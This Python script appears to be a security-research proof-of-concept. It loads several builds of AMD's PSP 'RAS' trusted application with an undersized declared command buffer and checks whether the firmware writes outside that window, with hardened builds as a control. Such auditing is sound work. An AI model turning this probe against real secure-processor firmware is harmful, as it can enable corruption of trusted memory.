#!/usr/bin/env python3
"""Does RAS's unvalidated entry point write outside the declared buffer window?

RAS ships two entry-point variants (see fw/AUDIT-TA-ATTACK-SURFACE.md):

  OPEN  70-byte entry, no checks at all.  27.0.0.21, .22_1cb5cb5b, .23, .24, .25
  HARD  86-byte entry, paramTypes 5..7 and params[0].size >= 0x30.
        27.0.0.22_{6e11d9d0,8a100de7,d6ef15af}, .26

Both write unconditionally near the start of the buffer:

    v5[1] = *v5 | 0x80000000;   // offset 0x04
    v5[2] = v8;                 // offset 0x08

and LABEL_12 is reached from the invalid-command path too, so the write happens even for a
command id the TA rejects.

In the GFX path params[0].size is the cmd_buf_len declared at LOAD_TA. So declaring a window
shorter than 12 bytes should, on an OPEN build, still produce those writes -- landing outside
the window the host declared. The HARD build is the control: with len < 0x30 it must reject
before touching anything.

The allocation is always ARENA bytes and filled with a pattern; only cmd_buf_len is made
small. Any pattern word that changes at or past cmd_buf_len is an out-of-window write.
"""
import glob
import struct
import sys
import time

sys.path.insert(0, '/root/psp/hw')
from tinygrad import Device                                   # noqa: E402
import tinygrad.runtime.autogen.am.am as am                   # noqa: E402
from ring_wrap import install                                 # noqa: E402

adev = Device["AMD"].iface.dev_impl
psp = adev.psp
submit = install(psp, adev)

PAT = 0x5A5A5A5A
ARENA = 0x10000

OPEN = ["ta_27-0-0-25_f3acd768", "ta_27-0-0-23_f9fe0110", "ta_27-0-0-21_eb9005c3",
        "ta_27-0-0-24_d6be12a3", "ta_27-0-0-22_1cb5cb5b"]
HARD = ["ta_27-0-0-26_3d9378e5", "ta_27-0-0-22_6e11d9d0"]


def alloc(n):
    pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
    return pa, adev.paddr2mc(pa)


def fill(cp, first_word=None):
    """Write the whole arena in one assignment -- vram.view is an MMIO interface, not a
    buffer, so per-field struct.pack_into against it is not possible."""
    buf = bytearray(struct.pack('<I', PAT) * (ARENA // 4))
    if first_word is not None:
        struct.pack_into('<I', buf, 0, first_word)
    adev.vram.view(cp, ARENA)[:] = bytes(buf)
    adev.gmc.flush_hdp()


def load(tag, declared_len):
    f = glob.glob('/root/psp/contall/%s*' % tag)
    if not f:
        return None, None, 'missing'
    base = open(f[0], 'rb').read()
    ap_, amc = alloc(0x80000)
    cp, cmc = alloc(ARENA)
    n = (len(base) + 3) & ~3
    adev.vram.view(ap_, n)[:] = base + b'\x00' * (n - len(base))
    fill(cp)
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA)
    t = c.cmd.cmd_load_ta
    t.app_phy_addr_lo, t.app_phy_addr_hi = amc & 0xFFFFFFFF, amc >> 32
    t.app_len = len(base)
    t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32
    t.cmd_buf_len = declared_len
    try:
        r = submit(c)
    except Exception as exc:
        return None, cp, 'load-exc %s' % str(exc)[:60]
    st = r.resp.status & 0xFFFFFFFF
    if st:
        return None, cp, 'load-fail %#x' % st
    return r.resp.session_id, cp, 'ok'


def invoke(sid, cp, cmd_in_buf, declared_len):
    fill(cp, first_word=cmd_in_buf)
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd
    iv.session_id, iv.ta_cmd_id = sid, 0
    t0 = time.time()
    try:
        st = submit(c).resp.status & 0xFFFFFFFF
    except Exception:
        st = -1
    dt = time.time() - t0
    adev.gmc.flush_hdp()
    out = bytes(adev.vram.view(cp, ARENA)[:])
    changed = [o for o in range(4, ARENA, 4)
               if struct.unpack_from('<I', out, o)[0] != PAT]
    outside = [o for o in changed if o >= declared_len]
    return st, dt, changed, outside


def run(tag, declared_len, cmds):
    sid, cp, how = load(tag, declared_len)
    print('  %-26s declared=%-7s load=%s' % (tag, hex(declared_len), how), flush=True)
    if sid is None:
        return
    for cmd in cmds:
        st, dt, changed, outside = invoke(sid, cp, cmd, declared_len)
        print('      buf[0]=%#-12x status=%#-11x %4.1fs changed=%-28s OUTSIDE=%s'
              % (cmd, st, dt,
                 str([hex(o) for o in changed[:6]]) if changed else 'none',
                 str([hex(o) for o in outside[:6]]) if outside else 'none'), flush=True)


print('=== control: full-size window, confirm the writeback is observable at all ===')
run(OPEN[0], 0x1000, [0, 0x41424344])

print('=== OPEN variants, 4-byte declared window ===')
for t in OPEN:
    run(t, 4, [0, 0x41424344])

print('=== HARD variants, same 4-byte window (expect reject, no writes) ===')
for t in HARD:
    run(t, 4, [0, 0x41424344])